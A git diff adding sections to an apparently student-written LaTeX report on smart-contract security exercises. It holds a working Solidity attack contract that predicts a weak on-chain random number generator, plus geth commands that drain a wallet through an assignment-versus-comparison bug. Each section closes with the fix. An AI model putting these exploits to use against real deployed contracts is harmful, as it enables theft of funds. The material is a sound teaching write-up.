added remaining reports
This commit is contained in:
parent
1879b18fcf
commit
18927d1632
Binary file not shown.
@ -170,15 +170,132 @@ checks whether the variable is set to \texttt{true}. If it is, the transaction
|
||||
is aborted.
|
||||
|
||||
\section{Fail Dice}
|
||||
% Fill here your answers for exercise C
|
||||
In this challenge we were given some form of a gambling contract, which promises 10 times the ether, with which user participates. The idea is, a user submits a number along with some ether and a random number is generated with the help of a method. User's number and randomly generated number are added together and if the result is exactly 42, then user earns 10 times the ether.(if the 10 times the participant's ether value is bigger than the contract balance, then contract sends all the balance it has.) Now let's take a look at the method, which generates the random number:
|
||||
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
|
||||
function PRNG(address sender) private view returns(uint8){
|
||||
// Totally "awesome" PRNG
|
||||
//return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)));
|
||||
return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))));
|
||||
}
|
||||
\end{minted}
|
||||
Since blockchain is a deterministic data structure, anyone can produce the outcome of the PRNG function, given that they know the parameters/seeds used to generate randomness. Let's take a look at the parameters used in generation of a number:
|
||||
\begin{itemize}
|
||||
\item \textbf{sender} is the address who is participating in the gambling.
|
||||
\item \textbf{block.coinbase} points to the address of the miner node which included the transaction in its block. So every transaction in the same block will have the same value.
|
||||
\item \textbf{now} is equal to the \textbf{block.timestamp} variable, which returns the number of seconds passed since the Epoch. So every transaction in the same block will have the same value.
|
||||
\item \textbf{big\_secret} is a private variable declared at the top of this contract.
|
||||
\end{itemize}
|
||||
|
||||
It seems like out of all parameters used, all of them except \textbf{big\_secret} variable can be known, because \textbf{big\_secret} is a private variable, right?
|
||||
\\ \\
|
||||
What is stored on public blockchains, whether with public or private modifiers, are still accessible by anyone, because Ethereum Virtual Machine saves smart contract data in "slots" in the order of the variables declared and anyone with an access to web3 can inspect the data in these slots, if they know the address of the contract. In conclusion, using private modifier only prohibits the access of other contracts to the private variables or functions. With this knowledge, we can start the first step of our exploit, which is retrieving the value of the \textbf{big\_secret}:
|
||||
\\ \\ \\ \\
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
|
||||
//pragma solidity ^0.4.12;
|
||||
pragma solidity ^0.5.4;
|
||||
|
||||
contract SatoshiFailDice{
|
||||
// Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match
|
||||
uint private big_secret;
|
||||
address student;
|
||||
address private owner;
|
||||
...
|
||||
\end{minted}
|
||||
Now we can see above that the variable we are looking for is declared first, meaning that it has to be stored in the "slot 0". By using geth console we can learn what's stored in the "slot 0" of this contract:
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
|
||||
// Assume failDiceContractAddress is already initialized.
|
||||
eth.getStorageAt(failDiceContractAddress, 0); // Returned value is unique to every student, but let's assume the return value is "0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d"
|
||||
\end{minted}
|
||||
|
||||
After completing this step, we now know all the parameters that is used in creating a random number. Now we can write a malicious contract that can generate the same random number, which will be generated by the contract in a specific block, remove this number from 42 to find out which number to submit as our participation number:
|
||||
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
|
||||
pragma solidity ^0.5.4;
|
||||
|
||||
contract MaliciousFailDiceContract {
|
||||
uint big_secret = 0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d;
|
||||
address payable owner;
|
||||
address payable challengeAddress;
|
||||
|
||||
modifier onlyOwner() {
|
||||
require(msg.sender == owner, "Caller is not owner");
|
||||
_;
|
||||
}
|
||||
|
||||
constructor (address payable _challengeAddress) {
|
||||
owner = msg.sender;
|
||||
challengeAddress = _challengeAddress;
|
||||
}
|
||||
|
||||
function pwn() external payable {
|
||||
require(msg.value == 4 ether, "Must supply 4 ether");
|
||||
uint8 contract_roll = PRNG();
|
||||
uint8 user_roll = 42 - contract_roll;
|
||||
|
||||
(bool success, ) = challengeAddress.call.value(msg.value)(
|
||||
abi.encodeWithSignature("rollDice(uint8)", user_roll)
|
||||
);
|
||||
|
||||
if (!success) revert();
|
||||
}
|
||||
|
||||
function PRNG() private view returns (uint8) {
|
||||
return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase, block.timestamp, big_secret))));
|
||||
}
|
||||
|
||||
function withdraw() external onlyOwner {
|
||||
selfdestruct(owner);
|
||||
}
|
||||
|
||||
function() external payable { }
|
||||
}
|
||||
|
||||
\end{minted}
|
||||
|
||||
We will call the pwn function to start the exploit. This function will require a minimum of 4 ether. 10 times 4 is bigger than the balance of the FailDice contract (30 Ether), but this is to guarantee that we will drain all the funds. Inside the pwn function, the PRNG function is called to generate the exact same random number that will be generated by the FailDice contract. Since pwn function sends a transaction to the FailDice contract at the end, both calls will be in the same block, thus block.coinbase and block.timestamp/now will produce same output in both contracts. After the pwn function submits a participation with 4 ether and a number obtained by subtracting the random number from 42, it will receive all the balance of the FailDice contract, basically winning the 10x bet. Now all's left to call the withdraw function as the malicious contract owner and we will transfer all the balance of our contract to our address. The code for explained steps above follows:
|
||||
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
|
||||
// Assume maliciousFailDice contract is already deployed and an instance of the deployed contract is in variable maliciousFailDiceContractInstance
|
||||
maliciousFailDiceContractInstance.pwn({from:student, value: web3.toWei(4, 'ether')}); // call pwn function
|
||||
maliciousFailDiceContractInstance.withdraw({from:student}); // withdraw the malicious contract balance
|
||||
\end{minted}
|
||||
|
||||
Conclusion is that do not use private variables for the purpose of hiding them from anyone. Private modifiers should be used for the cases where we do not want other contracts to use or access the variables or functions. Since Solidity contracts are deterministic, there is no true random number generation possible using only Solidity contract code. Though with the use of oracle services such as Chainlink, one can retrieve generate a random number outside of the blockchain and bring this data into the blockchain.
|
||||
|
||||
\section{Not A Wallet}
|
||||
% Fill here your answers for exercise D
|
||||
In this challenge we were expected to exploit a wallet contract and drain its funds. The contract itself has a main owner which is set as the creator of the contract in the constructor. Aside from the main owner, there is also an owners variable, which stores multiple owner addresses in the contract. The idea behind is that anyone can deposit money by sending any value to the deposit function, yet only owners can withdraw, add a new owner or remove an owner. The bug can be found in the removeOwner function itself:
|
||||
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
|
||||
function removeOwner(address oldowner) public rightStudent {
|
||||
require(owners[msg.sender] = true);
|
||||
owners[oldowner] = false;
|
||||
}
|
||||
\end{minted}
|
||||
The writer of this contract wanted to check if the message sender is an owner, but instead of using the equals operator (==), he/she used assignment operator (=), which ends up making the sender of the message an owner by assigning true value to the sender address key in owners mapping. To exploit this contract and drain its funds, as student, its enough to first call the removeOwner method with the owner address as parameter and then withdraw function from the geth console:
|
||||
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{javascript}
|
||||
// Assume walletContractAbi, walletContractAddress and studentAddress variables are already initialized.
|
||||
var walletContract = eth.contract(walletContractAbi);
|
||||
var walletContractInstance = walletContract.at(walletContractAddress);
|
||||
walletContractInstance.removeOwner(walletContractInstance.owner.call(), {from:studentAddress});
|
||||
walletContractInstance.isOwner(studentAddress); // should return true
|
||||
walletContractInstance.withdraw(web3.toWei(10,'ether'), {from:studentAddress}); //withdraw all 10 ether in contract
|
||||
\end{minted}
|
||||
|
||||
This bug seems to be caused by a typo and therefore could have been avoided if the function looked like following:
|
||||
\begin{minted}[frame=lines,framesep=2mm,bgcolor=LightGray,fontsize=\footnotesize,linenos,breaklines]{solidity}
|
||||
function removeOwner(address oldowner) public rightStudent {
|
||||
require(owners[msg.sender] == true);
|
||||
owners[oldowner] = false;
|
||||
}
|
||||
\end{minted}
|
||||
\section*{Work distribution}
|
||||
|
||||
\begin{description}
|
||||
\item[Tobias Eidelpes] Report for Bad Parity and DAO Down.
|
||||
\item[Mehmet Ege Demirsoy] Report for Fail Dice
|
||||
\item[Nejra Komic] Report for Not A Wallet
|
||||
\end{description}
|
||||
|
||||
\end{document}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user